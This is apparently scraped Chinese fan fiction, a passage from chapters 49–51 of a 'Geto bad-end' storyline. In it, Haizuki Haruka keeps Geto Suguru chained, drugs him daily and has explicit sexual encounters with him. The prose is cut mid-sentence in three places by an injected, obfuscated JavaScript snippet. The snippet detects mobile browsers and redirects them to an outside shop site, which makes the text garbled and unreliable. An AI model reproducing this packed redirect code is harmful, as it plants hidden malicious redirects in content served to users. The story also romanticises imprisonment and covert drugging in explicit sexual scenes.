他却泰然自若,丝毫不受影响,表情甚至算得上是温驯。随着他歪头的动作,黑发随之滑落,隐隐约约间,旖旎的紫色夺人心魄,让人心甘情愿地沉沦。 “毕竟每天都关在这里很无聊嘛~本来也只有小遥你喂我吃完药了才能稍微活动一下,平常你不在的时候,我都只能望着门口发呆……” “可怜的夏油杰,每分每秒都在想小遥什么时候才会来看他……” 他本是与她十指相扣,又在不经意间松开了手,指尖在她的掌心忽轻忽重摩挲,一下又一下,带着一种难以言喻的暧昧与挑逗。她发痒地想要缩回手,却被他紧紧攥住,拉至唇边,轻轻擦过那柔软而温热的唇瓣。 他调笑着,眯起双眼,看不清眼底的情绪:“我这么爱小遥,想必小遥也不愿意看着我天天可怜巴巴地等你吧……” “——我有事。” 海月遥用实际来表示,她忍心得很! 冷酷无情!酷辣火毙! 女人中的女人,雌性中的雌性! 她冷淡地扫了一眼夏油杰,那原本被他攥在手心的左手,轻而易举地挣脱开,转而一手捧起他的脸。 她俯下身来,两人的距离进一步拉近,温热的呼吸在空中交织,不知廉耻地缠绕着。然而,海月遥的表情依旧冷漠如初,那双薄蓝色的眼珠犹如玻璃制般,闪着无机质的光,冷冷地捕捉着他的表情变化。 夏油杰依旧是似笑非笑的模样。 “杰。” “怎么啦?” “杰很奇怪。” “我不明白小遥的意思。” “你不应该恨我吗?” “……” 夏油杰轻佻的笑容一顿,他垂下眼,视线游离着,忽而向右扫了一眼。 海月遥朝那个方向看去,那是他往常呆着的地方,也是他脖子上铁链的源头。 但夏油杰却只是淡淡地看了一眼,甚至很难说视线有半分的停留。他很快便转眼看向等待他回答的海月遥。 “我的话……”他抚上她的手背,拉着她的手往下,让她能摸到自己脖颈上冰冷的颈圈,以及还在肿痛的喉咙。 哪怕只是被她轻柔的触碰,一阵阵火辣辣的痛感便传来,他不自觉地溢出一声短促的“嗯”,愈发仰起头,修长颈线更加清晰,仿佛要将自己的脆弱与痛苦都展现在她面前。 他轻松地笑道:“不论是谁,沦落到这种地步,要说完全没有怨言,那都像是在骗人吧。” “但是遥,不只是有恨哦。” “我的身体,自由还有感情,都是由你掌控的……” 他拉着她的手往下,滑过精致的锁骨和饱满的胸膛。海月遥能感受到手心下有些发烫的身体,以及被湿发浸透后略显濡湿的衬衣。她的心中涌起一股莫名的情感。 奇怪。 她心想,总觉得有某种炽热的东西要吞噬掉她的全部。 而夏油杰只是继续说道:“我的过去,现在以及未来,也都有你的参与……” “我属于你哦,遥,我属于你。” “被关在这里后,我每天能看见的只有你,想见到的也只有你。” 他语气中带着一丝循循善诱。 “那么,我想遥能更多地看向我,更多地陪着我,有什么奇怪的呢?” 海月遥面无表情地和他对视,夏油杰依旧清浅地笑着。 “我明白了。”她冷淡地回应,“但我不能保证有空,所以可能会对这个房间做些调整,让你在我不在时也能偶尔自由活动。” “……这样也好。”他笑道,“但我真正想要的不是这个。” 原本伏在她膝上的夏油杰,不由分说地分开她的腿,膝盖向前,抵在她的下方。 他在她不解的表情中,慢条斯理地解开她制服上的黄铜纽扣,倾身吻了上去,细碎地啄着她的脖颈,尤其关照了脖子上的那粒小痣。 亲吻的同时,指尖挑起她藏在衣服下的项链,暧昧又缓慢地顺着银链滑下。 他勾起那枚戒指,吐出舌头,轻柔地穿过戒指的小圈,狐狸眼含着媚意,笑着看向她。 “我想要的……还有这个……” 海月遥却一直没有太大的反应,只是不动声色地打量着他,看着因为时间拉长,那粉红的舌头因为紧绷而略微地收缩、颤抖,看着那似乎游刃有余的少年逐渐紧张起来。 等到时间足够长到折磨他的神经,她指尖向上,若即若离地滑过他的身体,引得他不受控地咽了口唾液,目光迷离地看向她。 但她似乎完全不受影响,只是最后指尖拂过那青紫的掐痕,波纹涌动,伤口下一刻就恢复如初。 “遥,我——” 他的话还没说完,原本随意坐在地上的海月遥站起身,头也不回地走向房间另一侧。过了一会儿,她发现他没有跟上,只是简单地转过头,平静地吩咐道: “过来。” 夏油杰沉默片刻,最终还是跟了过去。 随着他的脚步,铁链的叮当声在房间内回荡,显得格外清脆。 “坐下。”她命令道。 他垂下眼,照做。 海月遥翻出吹风机,指尖掠过他湿润的发丝:“头发这样湿着,披久了容易头疼。” “我来还是你自己来?”她问道。 “小遥来可以吗?”夏油杰原本有些紧绷的身体稍微放松下来,扭头看向背后的她。 “1。” 她说话总是冷淡,态度也算得上冷厉,可给他吹头发的动作却温柔极了,指尖拂过他柔顺的发丝。她总觉得夏油杰的黑发保养得极好,湿润的发丝如流云般倾泻而下,汇成一条乌润的黑河,带着若隐若现的香气。 ——她很喜欢。 “杰不用这样。”海月遥冷不丁地开口。 “嗯?” “你不用讨好我。” “……” “杰想做什么就做什么好了。”吹完发根,才是发丝,她的指尖也被吹风机的暖风吹得暖和起来,“想说什么也可以直接说。” 夏油杰只是笑着低下头,锁链发出清脆一声响,仿佛是另一种回应。 “刚刚杰明明就不想过来,却还是跟了过来,甚至连多余的一句话也没有说……既然讨厌的话,为什么要承受?” 就像他遇到形形色色的普通人,每次都把心中的不忿与失望压抑下来,沉积在心底。 那沉甸甸的恨意就是这样一点点地积攒下来,最终超过了能承受的极限。 啪。 鼓胀的心脏破开,内容物顺着一股脑地泄出,最终只剩下空洞的心和残破的思想。 “讨厌的话就说,不想要的话就拒绝。”她继续说道,“只有顺从本心,以后才不会后悔。” “我……” 就在他想说些什么的时候,海月遥弯下身,在他耳边轻声问道:“吹风机会很烫吗?不舒服的话就说。” “……” 夏油杰一阵沉默,直到最后忍不住笑。 “噗,哈哈、哈哈哈……” 他在她迷茫的眼神中笑了起来,像是听懂了她自己都没察觉到的隐喻。 “不会哦,我不讨厌。”他笑着,狭长的眼眯起一轮弯月,“小遥很温柔。” “所以你做的一切,我都不讨厌。” 他笑着说道。 海月遥:? 她没明白他的意思,只好慢吞吞地吐出一句“哦”,就继续她的吹头发事业。 “对了,戒指不能给你。”她突然想起了什么,补充道,“而且你也用不了。” “……小遥真是个笨蛋。” 海月遥:? 她报复性地把他的头发吹得乱飞。 之后两人都没有在说什么话,只是安静地、惬意地享受着这一小段时间。 在最后给夏油杰细细梳头时,海月遥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092932|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指捻起一缕发丝,嗅了嗅。 “果然……”她自言自语。 “怎么了?” “杰用的跟我一样的洗发水,现在的味道和我很像。”她尽职尽责地解释,同时倾下身,离他更近。她顺势低下头,如绸缎般顺滑的黑发轻轻滑落,拂过他的脸颊,又温柔地垂落至他的胸膛。 “你闻一下。”她说着。 确实很像。 透彻的、幽兰的淡淡香气。 夏油杰顺着她的方向看去,从她凌乱的领口处看到闪着光泽的银链和白皙脖颈上的一粒小痣,宛如夜间偶然一现的幽昙,引人遐思。 海月遥似乎也没有等待他回答的想法,又微微直起身。当她抽身离去时,夏油杰感觉一部分的自己也被她带走了。 “杰掉头发了。”她神情凝重地抽出梳子上的一根黑发,就像是看见自家养的猫突然秃了一块一样心疼。 “不,人都会掉头发。”夏油杰反驳道,“小遥你也会。” 海月遥大惊失色。 她不是纸片人吗?为什么会掉头发? 她脸色骤变,仿佛看到世界末日。 夏油杰:。 你就演吧,一眼假。 她倔强地反驳:“抱歉,请不要把我和杰相提并论。我可是美少女,美少女的一切都是完美的,包括头发。” 她站直身,让夏油杰能更明显地看清她的全貌,可他转头时视线却只是和她光裸的大腿平齐,敏锐地捕捉到雪白大腿内侧的一粒黑痣——这以前他都没注意到。 “看够了吗?” 就在他一时愣住的时候,海月遥平静地问道,夏油杰莫名其妙地抬起眼,却对上她有些复杂的表情。她带着一丝恨铁不成钢的语气,冰冷地吐出两个字: “变态。” 夏油杰:? 等他注意到她压下裙摆后退两步时,才明白她误会了什么。 等等,他没有看啊!他还没有看到啊! “我没看,真没看!”他苍白地解释道。 “那你刚才在看什么?”她耐心地追问。 在看腿。 夏油杰心虚地想。 可恶!这样的话怎么可能说得出口啊! 或许是他沉默的时间太长,海月遥的表情已经变成“一起长大的幼驯染突然就烂了”。 完全无法解释! “在……” 在干什么啊?! 夏油杰你快想想,怎么糊弄过关啊! “在……对不起!” 他猛地低下头,诚恳地道歉。 早死晚死不如现在死。 “噗。” 某人没有忍住笑,或者说,她已经开始大肆地嘲笑夏油杰了。 “下面是裤子。”她笑着提起裙摆,她的高专指制服本来就是这样的款式,“哪有经常要战斗的人就只穿着轻飘飘短裙的,那不现实。” 像是卖.□□画里才有的情节。 夏油杰:。 “但是刚刚明明杰没有偷看裙子下,为什么要道歉呢?”她走到他正前方,蹲下身,直勾勾盯着他,薄蓝色的双眼监视着他细微的表情变化,“杰刚才到底在看什么?” 夏油杰对上那双澄净的蓝眼,几次张嘴又闭上,完全说不出口。 “不过不想说也没关系。”海月遥没有逼迫他的想法,只是拍了拍他的头顶,正准备站起身,却又被他攥住手腕。 她轻哼一声表示疑问:“嗯?” “……腿。” 这不是天天露在外面的部分吗?有什么好看的。海月遥脑海中闪过这句话,不懂装懂地点头:“我明白了……” 还在等待最终审判的夏油杰屏住呼吸。 屏住呼吸,屏住呼……屏不住了! “就没了?”差点自杀成功的他惊诧地反问。 所以,他想表达什么? 海月遥茫然地想。她看着夏油杰隐含期待(?)的目光,疯狂地动用自己不多的情商。 最终,海月遥看向他,欲言又止的样子,小心翼翼地试探道:“……那你再看看?” 夏油杰:? 49.夏油be线(九) 虽然说自己没空,但接下来的几天,海月遥几乎都待在这个房间里。 “小遥每天都待在这里,没问题吗?”在海月遥准备开始每日例行的喂药工作前,夏油杰轻声问道,“不用去上课或出任务吗?” “夜蛾老师知道,我有时会躲起来做研究。” 但事后免不了要写检讨。夏油杰心里默默补充,毕竟有时她的检讨还是他来写的。 “房间改造还没完成,先多陪陪杰。”她蹲在他身前,慢条斯理地戴上手套,指尖轻轻按在他的唇上,“杰之前还说自己很寂寞呢。” 既然她都这么说了,夏油杰自然没有再劝,只是张开嘴,等待着吃药后解开手铐。 人确实是一种适应力极强的生物。 最开始的时候,夏油杰在被她检查时,还会被橡胶的气味刺激得反胃干呕,但这么多天过去,他现在已经不会被这个困扰,甚至会期待检查完后的环节。 然而,今天的检查时间似乎有些过长。他心不在焉地想着。 双手被铐在背后,口腔也被她的手指探入。他无法合上嘴,嘴角逐渐发酸。微凉的指尖按压在他柔软的舌面上,受到刺激的舌头忍不住收缩,涎水不断分泌。他本想发问,却只能发出含糊的呜咽声。 “奇怪……” 她完全没有注意到他的窘境,站起身,用一双澄净的猫眼俯视他,似乎在思考着什么,心不在焉地摸索着他的口腔。背对着光时,她眼中那抹饱和度极高的蓝色愈发显眼。 时间拖得太久,他仰着的脖子也开始酸痛。头顶的白炽灯光太过刺眼,让他狭长的狐狸眼眯了起来。在到达极限前,他最终轻轻咬了一下她的指尖。 海月遥这才回过神,随意抽出手指。 她乳白色的手套上,满是黏稠的液体,藕断丝连地黏在她的指尖与他吐出的舌头之间,闪烁着靡靡的光泽。 夏油杰先是忍不住咳嗽了几声,随后弯下腰大口喘息。他的眼尾还泛着淡淡的红晕。 “奇怪……”海月遥居高临下地注视着他,喃喃自语。 夏油杰终于缓过神来,目光涣散地抬起头,唇边挂着刚刚被迫张嘴时流下的津液。 “咳、咳咳……小遥,出什么事了吗?”他轻声问道,或许是因为她的表情太过严肃,他并没有生气。 海月遥沉默不语,只是眉头越皱越紧,连带着夏油杰也紧张了几分。 发生了什么?难道是高专那边的其他人发现了她的异样,可能会找到这里?还是…… 一想到可以离开这个地方,夏油杰心中升起一阵阵酥麻的感觉,既期盼又抗拒着这个可能性。 他越想越多,眉头也蹙了起来,眼下黛青色愈发明显,显得分外忧郁。 “杰身体有哪里不舒服吗?”海月遥冷不丁地打断他的思绪,“比如说头疼、肠胃不适、肌肉酸痛、视觉出现异常之类的症状?” 夏油杰迷茫地摇头。说实话,吃药后他只是有些乏力,目前并没有发现什么后遗症。 “那就还好……”她看上去像是松了口气。 他问道:“是药有什么问题吗?” “按道理来说应该没有。”海月遥低下头,耐心地解释,“但杰的反应很奇怪。 夏油杰:? 看他似乎没明白,原本站在他两腿间的海月遥右脚向前,抵住滚烫的某处。 未等她开口,夏油杰就像被火烫到一样,猛然并拢双腿,脸色潮红,难以置信地抬头望向她,眼神中带着莫名的慌乱。 海月遥脚尖轻轻地上下滑动着,每一次触碰都仿佛是在拨弄着他心中最隐秘的弦,让本就敏感的某处更加挺立起来,如同春日里蓄势待发的树,渴望着雨露的滋润。 敏感的地方被磨蹭着,夏油杰不争气地喉间溢出一声低低的不知廉耻的轻哼声。他此刻已经明白她的意思,只想找个地缝钻进去。 “这个药不应该有这种副作用啊?” 她纳闷地反问。而且明明最开始的几天杰都没有这种反应,最近吃药的时候却又有了…… 难道是什么积累的药效? 海月遥十分困惑。 而夏油杰这时只恨自己是被铐在这里的,不然他绝对会冲出去,不让她看见自己这幅窘态。想到刚刚她站起来盯着自己这么久,就是观察的这个地方…… 他双腿并得更紧,整个人几乎要缩成一团。而海月遥的右脚已经在那里,看到他这样,她惊恐地想要抽回腿,准备蹲下身检查他的情况。 因为他吃了药,也不至于力气大到海月遥拔不出来。她轻易地抽出脚,蹲在他两腿之间,颇为紧张地捧起他的脸。 “是有哪里不舒服吗?” 她担忧地问道。 夏油杰被迫抬起头与她对视,嘴唇几次张合,却嗫嚅着说不出话来。 不是药的原因。 这样的话他怎么可能说得出口! 海月遥只看见他本来还停留在眼尾的绯红迅速扩散,犹如艳丽的红潮般,大片大片地蔓布在那略显苍白的皮肤上。 她眉头皱得更紧了。 不行,得检查一下。她紧紧抿着唇,准备解开锁链,拉着他去检查身体。 夏油杰却高声喊道:“不用!真的不用!” 要是等检查完发现没问题,那就更尴尬了!他本来提高的音调又压了下去,声音极低地喃喃道:“……不是药的问题。” “嗯?”海月遥没听太清,弯下腰靠得更近,侧着头想听清楚。 她一手撑在他身侧,一手撩起发丝,露出耳轮。夏油杰能感受到柔软压在他胸膛上,这时说话间声音都不稳了。 “不、不是药……” 不是药,那是什么原因? 海月遥一时迷茫,困惑地低下头,看着抵在自己小腿上的滚烫。 “遥……不要看……求求你……” 夏油杰的声音中带着绝望,他的脸已经彻底红透,仿佛要滴出血来。 …… 终于弄明白是怎么一回事的海月遥不说话,紧紧盯着蜷缩成一团的夏油杰。 海月遥:盯—— “抱歉……抱歉……真的很抱歉……”夏油杰低着头,不停地道歉。 “没关系的,杰,这很正常。”海月遥决定缓解一下幼驯染的尴尬,“毕竟你现在正处于青春期,会有这样的反应……” 她絮絮叨叨地解释着。 尽管她这么说,其实自己也不太明白为什么会这样。接吻时有这样的反应可以理解,但只是吃个药做个检查,怎么也会这样呢? 哦,杰是变态。 她想出了最合理的解释。 海月遥伸出手,探向他的裤链。 “等等!遥你做什么!!!” “憋久了对身体不好。” 她是怎么面不改色地说出这句话的?夏油杰不敢相信自己的耳朵。而且她要做什么?! 就在他恍神的这一刻,最后一层也被她不耐烦地扒拉开,弹跳出来的东西“啪”得打在她的手背上,烫得她又下意识收回了手。 虽然上次夏油杰是故意想要引诱海月遥做这种事,可突然被她把自己见不得光的混沌欲望拉到眼前时,他却感觉身体一阵阵发烫,头晕目眩起来。 他抬起眼,迎上的是清澈坦然的蓝眼。 玷污了自己青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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夏油杰:……? “你还要试试吗?”他黑着脸问道。 海月遥面无表情地盯着他,然后扭过头。 “噗。” 火上浇油。 最后在他又要假笑着凑过来时,她抬起腿,一脚踩在他胸膛上借力,坐在滑椅上远去,一边转一边还以走调的旋律高声哼唱起歌来: “奇怪刘海,眼睛眯眯,心眼小小,脑袋发热,是个变态~~” 过分。 相当过分! …… 两个人打闹一番后,夏油杰将攥在手心里的东西抛给她。 ——是个遥控器。 他见到她操纵过这个来伸缩他脖子上的铁链,刚刚在她衣服里翻到这个的时候,他沉默地攥紧,额角青筋暴起,直到长长地叹了口气后才松开。 现在还不是时候。 他心想,又把这个东西还给了海月遥。 出乎他意料的是,海月遥只是意味不明地瞟了他一眼,便将遥控器又扔回给了他。 “小遥?” “杰不是说被拴在那里很无聊吗?以后杰摁下这个按钮,吃药后就能自由活动。手铐也不戴了,这样就算我不在的时候,你也能找些事情打发时间。” 她就这样简单地把这东西给自己了? 虽然抱怨无聊和寂寞的话都是夏油杰为了逃出故意说的,但当一切真的按照他的愿望进行时,他却感到了一种难以言喻的憋闷。那口气像是堵在胸口,不上不下,让他无法呼吸。 “谢谢小遥。” 他最终挤出一个假笑,收下了。 50.夏油be线(十) 海月遥觉得夏油杰最近黏人得过分。 起初几天,他还有些抗拒,不过之后都相当配合,但也比不上现在的状态。 由于夏油杰之前的话,海月遥现在已不再给他戴手铐。但这似乎释放了他内心深处某种被压抑的情感。在她喂药(实际上她让他自己吃药,可他拒绝了)的时候,他咬上她手套的一端,直接扯了下来。 海月遥看着他眯眼微笑,叼着手套的样子,总觉得一种糜烂的艳丽在他原本清俊的脸上大片铺展。他吐出手套,手自然地搭在她蹲下的膝盖上,伸出湿红的舌尖,仿佛在进行某种隐秘无声的邀请。 “小遥,来帮我检查一下吧~” 原本将这项任务视为例行公事的海月遥,此刻却罕见地迟疑起来。 杰变得好奇怪。 她有一种预感,如果现在伸手指进去,很可能会被他咬住。 于是,她神情凝重地拍了拍他的头,语重心长地叮嘱道:“不许咬我。” 夏油杰:? 他又不是狗。 他笑着答应了。 海月遥小心翼翼地开始每日检查,不过这次没有戴手套,更直观地感受到手上的触感。 舌面柔软而温热,舌下则更加润滑。当她检查到口腔时,能清晰地感受到他舌头抬起时的轻微颤抖,以及那缓缓呼出的湿热气息。 今天,他也乖乖地吃下了药。 真是个好孩子。 正当她准备收回手时,他却突然含住了她的手指。 不是说好不咬人吗? 海月遥大惊失色。 不过,他确实没有咬人,而是暧昧地吮吸着她的指尖,用舌头细细地舔舐着她的指腹,又灵活地打着圈。颤颤巍巍的银丝藕断丝连,缠绵地黏连在她的指尖与他的舌头间。 他发出一声充满情欲的叹息,又揽着她的脖子将她拉近,笑着说:“还有一件事没做呢。” 夏油杰现在倒是懂得把握分寸,他没有主动吻上去,而是用那双紫眸深情地凝视着她,眼中盛满了媚意。他的视线宛若实质,如同半凝固的蜜糖,黏稠而诱人。 “小遥不和我kiss吗……” 他的声音带着一丝哀怨,狐狸眼波光潋滟,楚楚可怜地望着她。 他越示弱,海月遥却越觉得危险。 她总觉得他想要吃了她。 不管是那微微张开的唇瓣,还是那若隐若现的虎牙,都在诉说着他对她的渴望与贪婪。 他想将她吞吃入腹。 但也只是这样了。 她平静地在他唇上轻啄一口,然后松开了他脖子上的铁链,准备转身离开。然而,却被站起来的夏油杰紧紧攥住手腕。 “今天的‘劳动’只有这么一点吗?” 他不满地反问。 不,哪有人劳动上瘾的?海月遥诧异地看了他一眼,耐心地回复:“这只是个流程。” “可是夏油杰觉得这样不足以报答小遥。” 一般只有小孩才会把自己的名字当自称吧?海月遥看了眼一米八五的竹马,看着他清俊的脸,抱怨似地皱眉,和注意到她视线后又弯下身露出的温柔的笑。 可爱。 可爱。 超级可爱。 她踮起脚。 …… 夏油杰觉得海月遥最近发呆的时间越来越长了,也不看书,就低着头坐在椅子上,不知道在思考什么。 但既然都到了这里,不看向他可不行。 夏油杰告诉自己,为了逃出去,必须获得她更多的信任。 他笑着走过去。 “不是说来陪我吗?”他半趴在她的膝盖上,抬眼看向她,拉长声音抱怨道,“现在却这么冷淡……可怜的夏油杰,被小遥抛弃了……” 海月遥只是静静地凝视着他,最终温柔地托起他的脸,在他的额间落下一吻,轻声说道:“我只是在想一些事。” “什么事?” “……” 她不回答,夏油杰也识趣地不追问,只是又开口说道:“那小遥现在有空陪我吗?” “1。”她顿了顿,问道,“杰想做什么?” “一些能让我们都快乐的事……” 夏油杰意有所指。 海月遥恍然大悟。 过了一会儿,夏油杰面无表情地看着眼前的荞麦面和一大堆各种各样的日式甜点,语气平静地问道:“什么意思?” “吃好吃的。”她指了指桌上的东西,强调道,“快乐的事。” 谁说这快乐不好,这快乐真是太快乐了! 夏油杰生无可恋。 海月遥露出一种乡下外婆被孙子探望时,看着乖孙吃完一桌菜的慈祥和满足,拍了拍他的头:“多吃点。” 看这孩子多瘦了啊,这可不行。海月阿婆心想。她明明可会养孩子了。 夏油杰:“……我想吃的不是这个。” “那杰想吃什么?”海月遥慈爱地问道。 夏油杰伸手探向她身下。 海月阿婆露出晚节不保的惊恐表情。 …… 总之,最后夏油杰吃得很满足,各种意义上。他也成功地让海月遥看他的反应从怜爱变成……困惑。 怎么说,她自己确实说过憋太久不好,可这距离上次也没多久啊?她倒是不介意和杰玩,但确实是有些担心。 她摸着自己的小腹,现在已经清理干净了,就在不久前肚子里面还是满满当当的,稍微按一按就会像泡芙一样挤出奶油。 果然还是药有问题吧? 她神情越来越凝重。 “怎么了?”夏油杰抱着她,侧头看向坐在腿上的海月遥,心满意足地蹭着她的颈间。 他觉得穿着自己衬衫的青梅可爱极了。猫眼又大又圆,眼尾上挑,十分可爱;眼下两粒晃动的小痣,尤其可爱;现在这副面无表情、歪头思考的模样,更是世界第一可爱。 可爱。 可爱。 超级可爱。 他被萌得又在她后颈亲了几口。 被亲后的海月遥更加确信…… ——药一定有问题! 这是被囚禁的人应该有的态度吗?! 杰实在是太奇怪了! …… “这是新的药。” 海月遥拿着新配的药,蹲在夏油杰跟前,他也温驯地张开嘴。 然后……就没有然后了。 吞下去前,夏油杰还在期待今天的接吻,可刚吞下去不久,就被昏沉的眩晕感攥紧大脑,没能抵抗就睡去。 等他醒来时,似乎枕着一个柔软温热的东西。他恍惚地睁开眼,往上看。映入眼帘的不是幼驯染的脸,而是…… 是他藏在宿舍里的儿童不宜的杂志!!! 夏油杰一下子就清醒过来,猛地坐起身。 ——然后海月遥就被他的头锤袭击了。 她迷茫地捂着通红的下巴,躺在地板上,看着空荡荡的天花板,思考着是该揍夏油杰一顿,还是揍他两顿。 她好心地让竹马享受一次膝枕,自己一个人安安静静地看书,可没想到这家伙居然趁着她的视野被书占据的时候偷袭她! 不讲武德! “抱歉!”夏油杰连忙起身,手忙脚乱地去扶海月遥,同时还不忘将那本杂志紧紧揣进怀里,仿佛那是他最后的尊严,“会很痛吗?” 海月遥不答,只是颤抖着手,在那空荡荡的地板上用不存在的血液写下凶手——那个怪刘海家伙的名字,然后头一歪,咽了气。 完蛋了!本作的女主角要香消玉殒了吗? 然而,本应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162425|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悲痛欲绝的夏油杰却冷眼旁观着她躺在地板上憋气的模样,脸上没有丝毫的动容。 真是冷酷无情! 坏男人! 30秒过去了,海月遥毫无动静。 一分钟过去了,她依然没有任何变化。 三分钟过去了,那地上的少女胸口毫无起伏,仿佛真的已经失去生机。 夏油杰这时才慌了起来。 这熊孩子不会真的为了玩一直憋气吧? 可人类真的能憋气这么久吗? 她难道要憋气到他理她为止? ……完了,还真有可能! 夏油杰连忙伸手去扶她,却冷不防被突然的弹指袭击了额头,痛得他倒吸一口凉气。 “哈……啊……杰是笨蛋……”犯罪嫌疑人直起身子,半靠在他的怀里,因为刚才憋气太久而显得有些气喘,但本人却毫不在意地露出极浅的笑,猫眼弯成狡黠的弧度。 趁着夏油杰愣神的空档,她伸手摸向他,一把抽出那本杂志,“我还没看完呢。” “你怎么拿到的……” “床底还不好翻?杰以前也藏在那里。” “不,这不是我宿舍里的——等等!你难道以前也翻过吗?!” “1。”她相当坦荡,甚至还有点小自豪,“我藏得很好吧,杰都没看出来我翻过。” 那夹在杂志里的东西……夏油杰几次想要开口询问,却又硬生生地咽了回去。 完了……绝对会被当做变态的…… 他呻吟一声,痛苦地捂住脸。不过,此刻他又感激起这个毫无羞耻心的青梅,感谢她以前从未揭发过自己。 海月遥并不在意他的异常反应,只是解释道:“杰的宿舍要清空了,大家看见我过来的时候,说如果我想的话,也可以挑些东西带走。” 听起来像是分遗产。 而他的“遗产”是工口书。 “所以你就挑了这个……?”夏油杰表情扭曲地看着她手中的杂志。 “不。”海月遥面无表情地又掏出一叠,莫名其妙地骄傲地说,“还有其他的。” 她觉得这个时候自己的幼驯染应该夸奖自己一番,不然等被别人翻出来,她这偶尔脸皮很薄的竹马可就连最后的清白都保不住了。 会从叛逃的同期变成爱看工口书的同期。 宿舍空荡荡,要留清白在人间。 可真是了不起啊!他看着她那等待夸奖的模样,咬牙切齿地想。这整个房间里藏的书估计都被这家伙给翻出来了! “对了,杰,为什么里面会有我的……”她的话还没说完,就被夏油杰死死地捂住了嘴。 “对不起!抱歉!原谅我吧!”他连连道歉,就差跪着求她不要说了。 夏油杰强笑着转移话题:“哦,嗯……啊,对了,小遥,刚刚为什么我一吃下药就晕了过去?我、真、的、很、好、奇。” “哦……杰,你不觉得你最近……”海月遥压低声音,神神秘秘地凑近了他。 夏油杰敛息屏气地等待着下文。 “——纵欲过度吗?”她终于说出这句话。 夏油杰:? 海月遥继续说道:“我怀疑是药的成分有问题,所以换了新药。” 她这话说的仿佛夏油杰的O起全靠药。 “不,不是药的问题。”他黑着脸否认。 海月遥露出了“你是医生还是我是医生”的谴责表情。 但他俩都不是。 但同时这里海月遥才是老大。 所以最终还是她说了算。 “那新药的功效是?”夏油杰无奈地问道。 “让杰拥有婴儿般的睡眠。” 毕竟,他睡着了就不能“睡”她了。 夏油杰:……? 哈,“医生”! 51.夏油be线(十一) 这是被囚禁的第三十五天。 夏油杰一直记得具体流逝的天数。 他想出去。 即便留在这里能一直和喜欢的人无忧无虑地相处,像从前那样嬉戏打闹,仿佛他做的一切都没有发生过。但他明白,他必须离开。 有时,他不明白一同长大的她心里在想什么。那次她明明想杀了他,现在却能说说笑笑地拥抱他、亲吻他。 不过,他感激她那次的举动。 她如何看他,现在已经不重要。因为她不会原谅自己。 ……不,这很重要。 他要逃出去,就必须先获得她的信任。他不希望在她听到自己的告白时,第一反应是质疑他的动机。 夏油杰平静地看着掌心的纹路。虽然海月遥给了他一定程度的自由,但他大多时候只是这样坐着。 零食、书籍、游戏……她为他准备了一切,可他仍觉得索然无味。 他想出去。 “咔。” 听到门开的声音,夏油杰露出笑容。 “小遥,你终于来啦~” 他必须获得她的信任。 …… 在他的据理力争下,药最终还是换了。这是两者的综合版,服下后会先感到乏力,但过段时间便会产生困意——这对夏油杰而言,其实是件好事,因为他在这里时本就难以入睡。 房间改造完成后没几天,海月遥又变得异常忙碌,连来这里的时间都大幅缩短。 要说没有空虚感,那肯定是撒谎。 夏油杰觉得等待的时间太过漫长,像是融化的烤棉花糖,被寂寞拉得老长,却又顽强地粘连着。 他就像条看家的狗,可怜巴巴地等待着主人回家,又会在见到主人的那刻丢下所有的怨气和不满,吐着舌头上去讨好她。 “抱歉,最近任务比较多。”在聊天的间隙,海月遥突然说道。 她依旧是那副毫无表情的样子,穿着那身半裙半裤的校服制服。她每次来都是这副打扮,让夏油杰不禁联想到她是不是上完课做完任务就匆匆赶过来。 说实话,她现在能坚持着每天赶过来,夏油杰就觉得有够不可思议。 先不提课程和没完没了的任务报告,要知道他们出任务的地点可不只是东京,很多时候离这里可能会很远。在这种情况下,她还能当天去当天回来看他……夏油杰很难想象平时一向惫懒的青梅会努力到这种程度。 他甚至在担心她到底有没有好好吃饭,有没有好好休息。他不像海月遥那样一眼看出身形变化,但每次将她拥入怀中时,总觉得她消瘦了许多,肩胛骨戳得人疼,手腕纤细得仿佛一捏即断。 当然,这样的话只会被她反驳。 “我可是美少女。”她义正言辞地说,“从头到脚都完美无缺,身材自然也不例外。” 海月遥从他怀中站起,脱下累赘的校服,转了一圈,得意地说:“完美。” 夏油杰不由自主地伸手向“完美”靠近。 海月遥大惊失色,露出“平时要上高专那b班,现在来这里还得b上班”的表情。 …… 现在可能是她最为“丰腴”的时刻,夏油杰一下又一下地按捏着她微微隆起的小腹,笑着看她挤出更多的奶油。 他温柔地咬着她的光洁的后颈。 即便抛开那些欲望,他也十分享受此刻。他们可以毫无障碍地相拥,他能暂时忘却心中的阴霾,全心全意地亲吻她。这一刻,他甚至忘记了脖颈上的颈圈,忘记了被囚禁的现实,只想向她倾注所有的爱意。 他能短暂地拥有完整的她。 而不像平日,他独自坐在这一方小小的空间里,脑海中充斥着那些丑陋的、扭曲的人脸,听到那如雨声一般的掌声,回想着那把将白布染红的同伴尸体,甚至在担忧着她某天是否会像他可怜的学弟一样,倒在不断扩大的血泊之中,了无生息。 